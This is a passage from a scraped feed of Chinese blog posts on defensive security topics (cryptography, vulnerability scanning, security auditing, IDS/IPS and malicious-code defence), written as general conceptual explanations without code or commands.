在安全防御中，密码技术的主要作用如下：\n信息加密：通过加密算法将明文信息转换为密文信息，保证信息在传输过程中不被窃取或篡改。常见的加密算法包括对称加密算法（如AES、DES、SM1、SM4）和非对称加密算法（如RSA、ECC、SM2、SM9）。 数字签名：利用密码技术对数据进行签名，验证数据的完整性和来源。数字签名可以防止数据被篡改或伪造，广泛应用于身份认证、电子签章等领域。 身份认证：通过密码技术对用户进行身份验证，确保只有合法用户能够访问敏感数据或资源。常见的身份认证方式包括用户名/密码认证、动态令牌认证、多因素认证等。 访问控制：利用密码技术对访问者进行权限控制，确保只有授权用户能够访问特定资源。访问控制通常与身份认证相结合，实现基于角色的访问控制（RBAC）。 安全审计：通过密码技术记录和审计安全事件，及时发现和应对安全威胁。安全审计可以帮助组织机构了解其安全状况，发现潜在的安全风险，并及时采取措施进行防范。 密码技术在安全防御中扮演着至关重要的角色。通过合理应用密码技术，可以有效提高组织机构的信息安全水平，保护敏感数据和资源的安全。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-08-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E5%AF%86%E7%A0%81%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e密码学是信息安全的基础技术之一，是达到信息系统安全等级保护要求的核心技术支持，在身份验证、访问控制、文件加密、数据加密和安全传输中都得到广泛应用。其核心目标是保证信息的机密性、完整性和可用性。\n密码学包括加密和解密两个部分。一般过程是：发送方通过加密算法，将可读的文件（明文）变换成不可理解的乱码，即密文，然后传输给接收方；接收方接收密文之后，通过解密算法进行解密，获得明文。密码技术的实施过程，支持等级保护在机密性、完整性、认证性和非否认性等方面的要求。\u003c/p\u003e","title":"安全防御之密码技术"},{"content":"每年都有数以千计的网络安全漏洞被发现和公布，加上攻击者手段的不断变化，网络安全状况也在随着安全漏洞的增加变得日益严峻。寻根溯源，绝大多数用户缺乏一套完整、有效的漏洞管理工作流程，未能落实定期评估与漏洞修补工作。只有比攻击者更早掌握自己网络安全漏洞并且做好预防工作，才能够有效地避免由于攻击所造成的损失。\n什么是漏洞及漏洞的管理参见博客《安全运营之漏洞管理》，本文介绍安全防御中的漏洞扫描技术来发现漏洞。\n安全防御中的漏洞扫描技术是网络安全防护体系中一项核心的预防性措施，用于自动检测网络、系统和服务中的潜在弱点和已知安全漏洞。这项技术帮助企业、组织和个人识别出可能被攻击者利用的风险点，并采取相应的补救措施以强化其整体安全态势。\n漏洞扫描通过针对常见黑客攻击手法的检查策略，定期对网络系统进行扫描分析，及时发现问题、给出相关安全措施和建议并进行相应的修补和配置，这项技术的具体实现就是安全扫描程序，在很短的时间内查出现存的安全脆弱点。\n安全漏洞扫描技术可以分为被动和主动两种方式。被动扫描是指在不影响系统正常运行的情况下，通过分析系统的网络流量、系统日志和配置信息等，来发现潜在的安全漏洞。主动扫描则是通过模拟攻击的方式，对系统进行深入的探测和漏洞发现。\n被动扫描和主动扫描它们各有优缺点。\n被动扫描是指在不影响系统正常运行的情况下，通过分析系统的网络流量、系统日志和配置信息等，来发现潜在的安全漏洞。被动扫描的优点在于不会对目标系统造成干扰或损害，可以避免触发恶意软件或警报器。同时，被动扫描可以实时监测系统的安全状况，及时发现新的漏洞和攻击。然而，被动扫描的缺点在于无法发现未知的漏洞和攻击，因为它是基于已知的安全漏洞库和规则进行扫描的。 主动扫描则是通过模拟攻击的方式，对系统进行深入的探测和漏洞发现。主动扫描可以发现未知的漏洞和攻击，因为它是通过模拟攻击来发现系统中的弱点。主动扫描的优点在于可以更加深入地探测系统中的安全漏洞，包括缓冲区溢出、SQL注入等。同时，主动扫描还可以评估系统的防御策略和应急响应措施的有效性。然而，主动扫描的缺点在于可能会对目标系统造成干扰或损害，需要谨慎操作，避免对系统造成不必要的风险。 被动扫描和主动扫描各有优缺点，需要根据实际情况选择使用。在某些情况下，可能需要结合使用被动扫描和主动扫描，以提高系统的安全性。 安全漏洞扫描技术可以自动化进行，也可以手动执行。自动化扫描工具可以根据预定义的漏洞库和扫描规则，自动对目标系统进行扫描和漏洞发现。手动扫描则需要专业的安全人员对系统进行逐一检查和分析。\n常见漏洞扫描工具的特点：\n智能识别：能够对扫描结果数据进行在线分析，能够根据端口、漏洞、BANNER信息、IP地址等关键字对主机信息进行查询并能将查询结果保存。 高效快捷：支持高级数据分析，能够进行历史数据查询、汇总查看、对比分析等，方便进行多个扫描任务或多个IP风险对比，能够在多个历史任务中，很快的检索到需要关注的资产IP点。 脚本依赖：扫描模块会自动根据其逻辑依赖关系执行而不是无目的盲目执行，从而提高了扫描准确性。 信息输出：漏洞分析报告应提供在线浏览报告和离线打印报告;离线报表提供针对不同角色的默认模板，允许用户定制报告的内容、报告的格式等。 断点恢复：在扫描程序运行到一半的时候如果系统意外掉电等，可以通过查看扫描状态进行重新扫描或者继续扫描，如果选择继续扫描的话，前面扫描到的结果会保留下来和后面的结果一起合并生成结果文件。 安全漏洞扫描技术可以针对不同的层次进行扫描，例如网络层、操作系统层和应用层等。网络层扫描主要是检查网络设备和通信线路的安全性，操作系统层扫描主要检查操作系统的配置和漏洞，应用层扫描则针对具体的软件应用程序进行安全检查。基于网络的安全扫描主要扫描设定网络内的服务器、路由器、网桥、变换机、访问服务器、防火墙等设备的安全漏洞，并可设定模拟攻击，以测试系统的防御能力。通常该类扫描器限制使用范围（IP地址或路由器跳数）。\n安全漏洞扫描技术是一类重要的网络安全技术。它和防火墙、入侵检测系统互相配合，能够有效提高网络的安全性。通过对网络的扫描，网络管理员能了解网络的安全设置和运行的应用服务，及时发现安全漏洞，客观评估网络风险等级。网络管理员能根据扫描的结果更正网络安全漏洞和系统中的错误设置，在黑客攻击前进行防范。如果防火墙和网络监视系统是被动的防御手段，那么安全扫描就是一种主动的防范措施，能有效避免黑客攻击行为，做到防患于未然。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-08-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e每年都有数以千计的网络安全漏洞被发现和公布，加上攻击者手段的不断变化，网络安全状况也在随着安全漏洞的增加变得日益严峻。寻根溯源，绝大多数用户缺乏一套完整、有效的漏洞管理工作流程，未能落实定期评估与漏洞修补工作。只有比攻击者更早掌握自己网络安全漏洞并且做好预防工作，才能够有效地避免由于攻击所造成的损失。\u003c/p\u003e","title":"安全防御之漏洞扫描技术"},{"content":"安全防御中的安全审计技术是保障信息系统安全的重要手段之一。其主要目标是对信息系统及其活动进行记录、审查和评估，以确保系统符合安全策略、法规要求，并能够及时发现潜在的安全风险和异常行为。通过安全审计，可以对系统中的各种活动进行记录、检测和监控，以发现潜在的安全风险和威胁，并及时采取相应的措施进行防范和处理。\n安全审计是对访问控制的必要补充，是信息安全的另一个基础技术机制。审计会对用户使用何种信息资源、使用的时间，以及如何使用（执行何种操作）进行记录与监控。审计和监控是实现系统安全的最后一道防线，处于系统的最高层。审计与监控能够再现原有的进程和问题，这对于责任追查和数据恢复非常有必要。\n审计跟踪是系统活动的流水记录。该记录按事件从始至终的途径，顺序检查、审查和检验每个事件的环境及活动。审计跟踪通过书面方式提供应负责任人员的活动证据以支持访问控制职能的实现（职能是指记录系统活动并可以跟踪到对这些活动应负责任人员的能力）。\n审计跟踪记录系统活动和用户活动。系统活动包括操作系统和应用程序进程的活动；用户活动包括用户在操作系统中和应用程序中的活动。通过借助适当的工具和规程，审计跟踪可以发现违反安全策略的活动、影响运行效率的问题以及程序中的错误。审计跟踪不但有助于帮助系统管理员确保系统及其资源免遭非法授权用户的侵害，同时还能提供对数据恢复的帮助。\n安全审计技术主要包括以下几个方面的内容：\n日志审计：通过收集、分析和审计系统中的日志信息，对系统的运行状态、安全事件和异常行为进行监测和报警。常见的日志包括系统日志、安全日志、网络日志等。 行为审计：对网络中的主机、设备、应用程序等的行为进行监测和审计，以发现异常行为和潜在的安全威胁。行为审计可以通过网络流量分析、主机监控等方式实现。 入侵检测：通过实时监测网络流量和系统活动，发现潜在的入侵行为和恶意攻击，并及时采取相应的措施进行防范和处理。入侵检测可以采用基于规则的模式或基于行为的模式。 安全审计平台：通过建立统一的安全审计平台，实现对各类安全事件的集中管理和分析。安全审计平台可以集成各种审计工具和设备，提供全面的安全审计服务。 更多关于日志审计分析平台的介绍请参考《网络安全之认识日志采集分析审计系统》 安全审计的核心在于对与安全有关的活动的操作信息进行识别、记录、存储和分析。同时可以辅助其他的一些安全措施，比如防止恶意刷新，危险IP过滤等。通过审计记录的分析，可以知道网络上发生了哪些与安全有关的活动，哪个用户应该对这个活动负责。 根据安全审计的对象、范围和层次不同，可以分为：\n对服务器的安全审计：审计服务器的安全漏洞，监控对服务器的任何合法和非法操作，以便发现问题后查找原因。 对用户电脑的安全审计：为了安全目的，审计用户电脑的安全漏洞和入侵事件；为了防泄密和信息安全目的，监控上网行为和内容，以及向外拷贝文件行为；为了提高工作效率目的，监控用户非工作行为。 对数据库的安全审计：对合法和非法访问进行审计，以便事后检查。 对应用系统的安全审计：应用系统的范围较广，可以是业务系统，也可以是各类型的服务软件。这些软件基本都会形成运行日志，我们对日志进行收集，就可以知道各种合法和非法访问。 对网络安全设备的安全审计：网络安全设备包括防火墙、网闸、IDS/IPS、灾难备份、VPN、加密设备、网络安全审计系统等等，这些产品都会形成运行日志，我们对日志进行收集，就能统一分析网络的安全状况。 在安全审计技术的实际应用中，需要注意以下几个方面：\n全面覆盖：安全审计应覆盖系统的各个方面，包括网络、主机、应用程序等，不留死角。 实时监测：安全审计应具备实时监测和报警功能，及时发现和处理安全事件。 准确性：安全审计应具备高准确性，避免误报和漏报。 可扩展性：随着系统的规模和复杂性的增加，安全审计应具备可扩展性，能够适应不同规模和类型的系统。 合规性：安全审计应符合相关法律法规和标准的要求，确保审计结果的合法性和合规性。 安全防御中的安全审计技术是保障信息系统安全的重要手段之一，通过全面覆盖、实时监测、准确性、可扩展性和合规性等方面的要求和实践，可以有效提高信息系统的安全性和可靠性。随着技术的发展，现代安全审计趋向于自动化、智能化和一体化，结合大数据分析、机器学习和人工智能技术，能够更高效地处理海量安全事件，提高审计准确性和及时性，为企业的安全防御提供有力支撑。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-07-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e安全防御中的安全审计技术是保障信息系统安全的重要手段之一。其主要目标是对信息系统及其活动进行记录、审查和评估，以确保系统符合安全策略、法规要求，并能够及时发现潜在的安全风险和异常行为。通过安全审计，可以对系统中的各种活动进行记录、检测和监控，以发现潜在的安全风险和威胁，并及时采取相应的措施进行防范和处理。\u003c/p\u003e","title":"安全防御之安全审计技术"},{"content":"安全防御中的入侵检测与防范技术主要涉及到入侵检测系统（IDS）和入侵防御技术（IPS）。 入侵检测系统（IDS）是一种对入侵行为自动进行检测、监控和分析的软件与硬件的组合系统。IDS通过从计算机网络或系统中的若干关键点收集信息，并对其进行分析，从中发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象。 入侵防御技术（IPS）是一种主动的安全防御技术，旨在防止恶意软件入侵和数据泄露。它通过实时监测和拦截网络流量中的威胁，保护网络和系统免受攻击。\n一、入侵检测技术（IDS） 1、入侵检测技术的定义 通过对计算机网络或计算机系统中的若干关键点收集信息并进行分析，从中发现网络或系统中是否有违反安全策略的行为和被攻击的迹象，进行入侵检测的软件与硬件的组合就是入侵检测系统（IDS）。入侵检测系统（IDS）是一种用于检测、记录和响应计算机系统或网络中未授权活动的软件或硬件工具。它通过实时监控和分析网络流量、系统日志等信息，发现潜在的入侵行为，并及时采取相应的措施来应对。\nIDS执行一般分为三个步骤，依次为信息收集、数据分析、响应（被动响应和主动响应）。\n信息收集：IDS信息收集的内容包括系统、网络、数据及用户活动的状态和行为，信息一般来自系统日志、目录以及文件中的异常改变、程序执行中的异常行为及物理形式的入侵信息四个方面。 数据分析：数据分析是IDS的核心。它首先构建分析器，把收集到的信息经过预处理，建立一个行为分析引擎或模型，然后向模型中植入时间数据，在知识库中保存植入数据的模型。数据分析一般通过模式匹配、统计分析和完整性分析3种手段进行，模式匹配和统计分析用于实时入侵检测，而完整性分析则用于事后分析。常用于数据分析的有五种统计模型： 操作模型、方差、多元模型、马尔柯夫过程模型、时间序列分析。 响应：IDS在发现入侵后会及时作出响应，包括切断网络连接、记录事件和报警等。响应一般分为主动响应和被动响应，主动响应主要来阻止攻击或影响进而改变攻击的进程，由用户驱动或系统本身自动执行，可对入侵者采取断开连接等行动、修正系统环境或收集有用信息；被动响应主要是报告和记录所检测出的问题，包括告警和通知、简单网络管理协议（SNMP）陷阱和插件等。IDS还可以与其他安全系统集成，如防火墙、反病毒软件等，以提供更全面的安全防护。 2、入侵检测技术的发展趋势和发展历史 IDS的发展已经历了四个主要阶段： 第一阶段是以基于协议解码和模式匹配为主的技术，其优点是对于已知的攻击行为非常有效，各种已知的攻击行为可以对号入座，误报率低；缺点是高超的黑客采用变形手法或者新技术可以轻易躲避检测，漏报率高。 第二阶段是以基于模式匹配、简单协议分析和异常统计为主的技术，其优点是能够分析处理一部分协议，可以进行重组；缺点是匹配效率较低，管理功能较弱。这种检测技术实际上是在第一阶段技术的基础上增加了部分对异常行为分析的功能。 第三阶段是以基于完全协议分析、模式匹配和异常统计为主的技术，其优点是误报率、漏报率和滥报率较低，效率高，可管理性强，并在此基础上实现了多级分布式的检测管理；缺点是可视化程度不高，防范及管理功能较弱。 第四阶段是以基于安全管理、协议分析、模式匹配和异常统计为主的技术，其优点是入侵管理和多项技术协同工作，建立全局的主动保障体系，具有良好的可视化、可控性和可管理性。以该技术为核心，可构造一个积极的动态防御体系，即IMS——入侵管理系统。\n3、入侵检测技术存在的问题 入侵检测的原理主要包括误用检测和异常检测两种方式。误用检测主要根据已知的攻击模式进行检测，而异常检测则是首先总结正常操作应该具有的特征（用户轮廓），当用户活动与正常行为有重大偏离时即被认为是入侵。异常检测可以发现未知的攻击方法，但误报率较高。\nIDS的特点包括监测速度快、隐蔽性好、视野更宽、较少的监测器、攻击者不易转移证据、操作系统无关性以及不占用被保护的系统资源等。这些特点使得IDS能够有效地发现并应对各种网络攻击。 但是，入侵检测技术在实际应用中依然存在很多问题： 1）误报 误报是指被入侵检测系统测出但其实是正常及合法使用受保护网络和计算机的警报。假警报不但令人讨厌，并且降低入侵检测系统的效率。攻击者可以而且往往是利用包结构伪造无威胁“正常”假警报，以诱使收受人把入侵检测系统关掉。 2）精巧及有组织的攻击 攻击可以来自四方八面，特别是一群人组织策划且攻击者技术高超的攻击，攻击者花费很长时间准备，并发动全球性攻击，要找出这样复杂的攻击是一件难事。 3）数据采集、数据分析方法不足 高速网络技术，尤其是交换技术以及加密信道技术的发展，使得通过共享网段侦听的网络数据采集方法显得不足，而巨大的通信量对数据分析也提出了新的要求。 4）检测模型始终落后于攻击者的新知识和技术手段\n入侵检测系统构建模型始终落后于攻击者的新知识和技术手段。主要表现在以下几个方面： a、攻击者利用加密技术欺骗IDS，躲避IDS的安全策略； b、攻击者快速发动进攻，使IDS无法反应，大规模的攻击，使IDS判断出错； c、直接破坏IDS； d、智能攻击技术，边攻击边学习，变IDS为攻击者的工具。 在安全防御中，IDS与防火墙等其他安全设备协同工作，共同保护网络的安全。防火墙主要用于抵御外部网络的入侵，但对于内部攻击几乎束手无策。而IDS则作为防火墙的合理补充，帮助系统应对网络攻击，扩展了系统管理员在安全审计、监视、进攻识别和响应等方面的安全管理能力，提高了信息安全基础结构的完整性。\n二、入侵防御技术（IPS） 1、入侵防御技术的定义 入侵防御系统（IPS： Intrusion Prevention System）是通过直接嵌入到网络流量中，预先对入侵活动和攻击性网络流量进行拦截，避免造成损失的主动防护系统。IPS通过一个网络接口接收来自外部系统的流量，经过检查确认其中不包含异常活动或可疑内容后，再通过另外一个端口将它传送到内部系统中，能够监视网络或网络设备的网络资料传输行为，并能即时中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。\n2、IPS的工作原理 入侵防御技术（IPS）是一种主动的安全防御技术，旨在防止恶意软件入侵和数据泄露。它通过实时监测和拦截网络流量中的威胁，保护网络和系统免受攻击。\nIPS的工作原理包括以下几个步骤：\n数据包捕获：IPS通过在网络接口上捕获数据包来实时监测网络流量。这些数据包可以是流入或流出的，以全面检测潜在的威胁。 威胁识别：IPS使用先进的检测算法和特征库来识别恶意软件、恶意行为和其他潜在威胁。它还可以识别各种攻击类型，如SQL注入、跨站脚本攻击、缓冲区溢出等。 威胁拦截：一旦IPS识别到威胁，它会立即采取措施拦截恶意流量，以防止攻击成功。这些措施可能包括丢弃数据包、断开连接、隔离受感染的主机等。 警报与日志：IPS会生成警报和日志记录，以通知管理员存在威胁并提供详细信息。这些信息对于后续分析和改进安全策略非常有用。 自我保护：为了防止IPS自身被攻破，它通常具有自我保护机制。这些机制可能包括防火墙规则、白名单功能、进程保护等，以确保IPS的正常运行和有效性。 入侵防御技术（IPS）通过实时监测和拦截网络流量中的威胁，提供了一种有效的安全防御手段。它可以保护网络和系统免受各种攻击的侵害，并具有自我保护机制以确保其有效性。 3、IPS的功能特点和性能扩展 1）IPS-功能特点 IPS是一种防御深层入侵行为的串接部署设备。自IPS概念出现以来，用户和厂商的最大困惑就是：如何确保IPS无误报和滥报，在实时发现攻击行为的同时，保证IPS不会成为新的网络故障点。未解决这个问题，IPS具有其独特的功能特点： （1）精确阻断 IPS的重点就是要达到精确阻断，即精确判断各种深层的攻击行为，并实现实时的阻断。 确保中断、调整或隔离的是不正常或是具有伤害性的网络行为。 （2）深层防御 IPS的第二个重点就是防御各种深层入侵行为，这也是IPS系统区别于其他安全产品的本质特点。即在确保精确阻断的基础上，尽量多地发现攻击行为，如SQL注入攻击、缓冲区溢出攻击、恶意代码攻击、后门、木马、间谍软件等达到深层防御。\n2）IPS-性能扩展 IPS常用的攻击检测方法有两种：一种方法是通过定义攻击行为的数据特征来实现对已知攻击的检测，其优势是技术上实现简单、易于扩充、可迅速实现对特定新攻击的检测和拦截，但仅能识别已知攻击、抗变种能力弱；另一种方法是通过分析攻击产生原理，定义攻击类型的统一特征，能准确识别基于相同原理的各种攻击、不受攻击变种的影响，但技术门槛高、扩充复杂、应对新攻击速度有限。\n4、IPS的优势和弱点 实时检测与主动防御是IPS最为核心的设计理念，也是其区别于防火墙和IDS的立足之本。为实现这一理念，IPS在如下四个方面实现了技术突破，形成了不可低估的优势： 1）在线安装 IPS保留IDS实时检测的技术与功能，但是却采用了防火墙式的在线安装，即直接嵌入到网络流量中，通过一个网络端口接收来自外部系统的流量，经过检查确认其中不包含异常活动或可疑内容后，再通过另外一个端口将它传送到内部系统中； 2）实时阻断 IPS具有强有力的实时阻断功能，能够预先对入侵活动和攻击性网络流量进行拦截，避免其造成任何损失； 3）先进的检测技术 主要是并行处理检测和协议重组分析。所谓并行处理检测是指所有流经IPS的数据包，都采用并行处理方式进行过滤器匹配，实现在一个时钟周期内，遍历所有数据包过滤器； 4）特殊规则植入功能 IPS允许植入特殊规则以阻止恶意代码。IPS能够辅助实施可接收应用策略（AUP），如禁止使用对等的文件共享应用和占有大量带宽的免费互联网电话服务工具等。\n尽管如此，IPS仍有其不可忽视的弱点： 1）总体拥有成本高 高可用性实时计算需求决定了IPS必须选用高端的专用计算设备，使其成本相对较高。 2）单点故障 IPS的阻断能力决定其必须采用网络嵌入模式，而这就可能造成单点故障。 3）性能瓶颈 即使IPS设备不出现故障，它仍然是一个潜在的网络瓶颈，不仅会增加滞后时间，而且会降低网络的效率，因此，绝大多数高端IPS产品供应商都通过使用自定义硬件（FPGA、网络处理器或者ASIC芯片）来提高IPS的运行效率，以减少其对于业务网络的负面影响。 4）误报与漏报 在网络流量几乎成几何级数增加的情况下，一旦生成警报，最基本的要求就是不让“误报”有可乘之机，导致合法流量也很有可能被意外拦截。\n入侵检测系统（IDS）和入侵防御系统（IPS）都是重要的网络安全工具，但在工作方式和使用场景上有所不同。 IDS被视为审计类产品，主要关注于对网络或系统中的事件进行实时检测，并根据规则进行安全审计。它能够及时发现并警告系统管理员是否有入侵行为，并提供对内部攻击、外部攻击和误操作的实时保护。IDS可以分析计算机网络或系统中的关键信息，检查是否有违反安全策略的行为或被攻击的迹象。当有问题发生时，IDS会产生警报。IDS较多应用在防火墙之后，作为第二道安全闸门来提供额外的安全层。\n相比之下，IPS被视为一种主动的、智能的入侵检测和防范系统。IPS不仅具备IDS的功能，而且能通过响应方式实时地终止入侵行为的发生和发展。它不仅能检测攻击，还能有效阻断攻击，提供实时的保护。IPS注重主动防御，可以设置过滤器来分析数据包，阻断恶意内容的数据包，并接受进一步检查的可疑数据包。IPS的关键技术包括主动防御技术、防火墙与IPS互动技术、集成多种检测技术和硬件加速系统等。\n简而言之，IDS和IPS在网络安全中都发挥着重要作用。IDS主要侧重于检测入侵行为并提供警告，而IPS则更注重主动防御和实时阻断攻击。两者可以结合使用，共同为网络和系统提供更全面和有效的安全保护。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-05-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%98%B2%E8%8C%83%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e安全防御中的入侵检测与防范技术主要涉及到入侵检测系统（IDS）和入侵防御技术（IPS）。\n入侵检测系统（IDS）是一种对入侵行为自动进行检测、监控和分析的软件与硬件的组合系统。IDS通过从计算机网络或系统中的若干关键点收集信息，并对其进行分析，从中发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象。\n入侵防御技术（IPS）是一种主动的安全防御技术，旨在防止恶意软件入侵和数据泄露。它通过实时监测和拦截网络流量中的威胁，保护网络和系统免受攻击。\u003c/p\u003e","title":"安全防御之入侵检测与防范技术"},{"content":"恶意代码是指没有作用却会带来危险的代码。通常把未经授权便干扰或破坏计算机系统、网络功能的程序或代码（一组指令）称之为恶意程序。恶意程序包括计算机病毒、木马、蠕虫等。详见《网络安全之恶意代码》 恶意代码的防范，不是单靠一种或几种技术就能解决的，而要靠技术、管理以及用户安全意识的共同防范，只有三者相结合才能最大程度地防止恶意代码对系统和用户信息的破坏。 目前，恶意代码防范方法主要分为两方面：基于主机的恶意代码防范方法和基于网络的恶意代码防范方法。\n一、主机恶意代码防范 基于主机的恶意代码防范方法是目前检测恶意代码最常用的技术，具体分为：基于特征的扫描技术、校验和检测法和安全操作系统对恶意代码的防范等。\n1、基于特征的扫描技术 基于特征的扫描技术的基本思想是模式匹配。在扫描程序工作之前，必须先建立恶意代码特征库，根据特征库中的特征串，在所有被扫描文件中进行匹配查找。用户通过更新特征库，查找最新的恶意代码版本。\n2、校验和检测法 校验和检测法是一种保护信息资源完整性的控制技术，例如Hash值、循环冗余码等。只要文件内部有一个比特发生了变化，校验和的值就会改变。未被恶意代码感染的系统首先会生成检测数据，然后周期性地使用校验和检测文件的改变情况。 虽然校验和检测法可以检测未知恶意代码对文件的修改，但同样也存在不足： （1）校验和检测法实际上不能检测文件是否被恶意代码感染，它只是查找变化。即使发现恶意代码造成了文件的改变，校验和检测法也无法将恶意代码消除，也不能判断文件究竟被何种恶意代码感染。 （2）恶意代码可以采用多种手段绕开校验和检测法，使之文件改变难以被检测。\n3、安全操作系统对恶意代码的防范 在恶意代码入侵中，获得操作系统控制权，使操作系统为它分配系统资源是必经步骤。 操作系统的安全机制包括访问控制机制、主体标识与鉴别、安全审计、内存存取保护、文件系统保护、信息通路安全保护机制、最小特权管理、安全配置等。 （1）访问控制机制：操作系统的访问控制是操作系统安全控制保护中重要的一环，在身份识别的基础上，根据身份对提出的资源访问请求加以控制。 （2）主体标识与鉴别：标识与鉴别机制用于保证只有合法的用户才能存取系统中的资源，发生在用户登录系统时，用于识别每个用户的真实身份。标识鉴别机制的设计和实现需要达到两个方面的要求：协助安全操作系统实现新增的安全功能和安全策略，包括增加用户属性，并通过扩展标识鉴别命令来支持这些属性； （3）安全审计：对系统中有关安全的活动进行记录、检查、及审核，目的在于检测和阻止非法用户对计算机系统的入侵，并显示合法用户的误操作。 （4）内存存取保护：防止主存储器中有限个程序的相互干扰和保护其中有限区域内的信息安全，限定各程序在规定的主存区域内，称为存储保护，内存存取保护是安全操作系统中一个最基本的要求，也是最基本的安全机制，主要是保护用户在存储器中的数据，在操作系统设计之初，针对内存通常是分块管理的，现在多采用基于页的存储管理方式。 （5）文件系统保护：文件系统是文件命名、存储和组织的总体结构，是计算机系统和网络的重要资源，文件系统的安全保护措施主要在分区、文件系统的安全加载、文件共享安全和文件系统的数据备份这四个方面。 （6）信息通路安全保护机制：即对信息在操作系统中经过的道路的保护，涉及两个方面：一方面对显式信息道路的保护，防止非法信息经过显式道路；另一方面，要堵住隐蔽的新系统了，防止恶意用户通过隐蔽信道进出。 （7）最小特权管理：最小特权是指在完成某种操作时所赋予系统中每个主体必不可少的特权。 （8）安全配置：做好操作系统安全设置，主要包括以下几个方面：操作系统安全策略、关闭不必要的服务、关闭不必要的端口、开启审核策略、开启密码策略、开启账户策略、备份敏感文件、不显示上次登陆名、禁止建立空连接和下载最新补丁等。\n二、网络恶意代码防范 由于恶意代码具有相当的复杂性和行为不确定性，恶意代码的防范需要多种技术综合应用。基于网络的恶意代码防范方法包括：恶意代码检测防御和恶意代码预警。 其中常见的恶意代码检测防御包括：基于GRIDS的恶意代码检测、基于PLD硬件的检测防御、基于Honey Pot的检测防御和基于CCDC的检测防御。\n1、基于GRIDS的恶意代码检测 著名的GRIDS主要针对大规模网络攻击和自动化入侵设计的，它收集计算机和网络活动的数据以及它们之间的连接，在预先定义的模式库的驱动下，将这些数据构建成网络活动行为来表征网络活动结构上的因果关系。\n2、基于PLD硬件的检测防御 华盛顿大学应用研究室的John W. Lockwood、James Moscola1和Matthew Kulig等提出了一种采用可编程逻辑设备（PLD，Programmable Logic Devices）对抗恶意代码的防范系统。PLD由三个相互内联部件DED（Data Enabling Device）、CMS（Content Matching Server）和RTP（Regional Transaction Processor）组成。\n3、基于Honey Pot的检测防御 Honey Pot，即蜜罐技术，其主要功能是对系统中所以操作和行为进行监视和记录，可以使网络安全专家通过精心的伪装，是的攻击者在进入到目标西后仍不知道自己的行为已经处于系统的监视之下。Honey Pot的设计初衷就是让黑客入侵，借此收集证据，同时隐藏真实的服务器地址，用于防范网络黑客攻击。\n4、基于CCDC的检测防御 由于主动式传播恶意代码具有生物病毒特征，美国安全专家提议建立CCDC（The Cyber Centers for Disease Control）来对抗恶意代码攻击。 CCDC能够实现对大规模恶意代码入侵的预警、防御和阻断，但CCDC也存在一些问题： （1）CCDC是一个规模庞大的防范体系，要考虑体系运转的代价； （2）由于CCDC体系的开放性，CCDC自身的安全问题不容忽视； （3）在CCDC防范体系中，攻击者能够监测恶意代码攻击的全过程，深入理解CCDC防范恶意代码的工作机制，因此可能导致突破CCDC防范体系的恶意代码出现。\n三、防护技术 防病毒技术就是通过一定的技术手段防止计算机病毒对系统的传染和破坏。但是随着Internet技术的发展，以及E-mail和一批网络工具的出现，在改变人类信息传播方式的同时也使计算机病毒的种类迅速增加，扩散速度也大大加快，计算机病毒的传播方式迅速突破地域的限制，由以往的单机之间的介质传染转换为网络系统间的传播。现在，计算机病毒已经可以通过移动磁盘、光盘、局域网、www浏览、E-Mail， FTP下载等多种方式传播。\n为了对抗恶意代码的威胁，安全防护技术采用多层次的策略和工具来检测、阻止和清除这些恶意软件。以下是一些常见的恶意代码防护技术：\n防病毒软件： 防病毒软件是最基本也是最常见的恶意代码防护工具。它通过使用病毒定义数据库和启发式分析等技术，检测并阻止已知和新的恶意代码。 反恶意代码行为分析： 这种方法不仅关注已知的病毒特征，还通过分析应用程序的行为来检测潜在的恶意活动。这包括监测文件、注册表、进程和网络活动等。 沙盒技术： 沙盒是一种隔离环境，允许在受控制的环境中运行不明文件或程序，以观察其行为。沙盒技术有助于发现和分析未知的恶意代码。 入侵检测和入侵防御系统（IDS/IPS）： IDS和IPS系统监控网络流量和系统活动，检测潜在的恶意行为，并采取措施以阻止入侵。 网络防火墙： 防火墙通过控制网络流量和阻止恶意流量来防御网络攻击，包括恶意代码传播。 安全补丁和更新管理： 及时应用操作系统和应用程序的安全更新和补丁是防止恶意代码利用系统漏洞的关键步骤。 应用白名单： 白名单技术允许系统管理员定义可执行文件和应用程序的白名单，只有在白名单上的程序才能运行，从而减少潜在的恶意代码执行。 电子邮件过滤和安全网关： 通过检测和阻止恶意附件、链接或恶意代码传播的电子邮件，电子邮件过滤和安全网关有助于防范针对用户的社交工程攻击。 安全教育和培训： 提供员工和用户有关社交工程攻击、恶意代码的风险以及如何防范的培训是预防恶意代码感染的重要方面。 端点安全： 通过在终端设备上使用终端防护软件，可以检测和防止恶意代码的传播和执行。 安全漏洞管理： 定期评估和管理系统和应用程序的安全漏洞，以及修补这些漏洞，是防止恶意代码利用的一项重要措施。 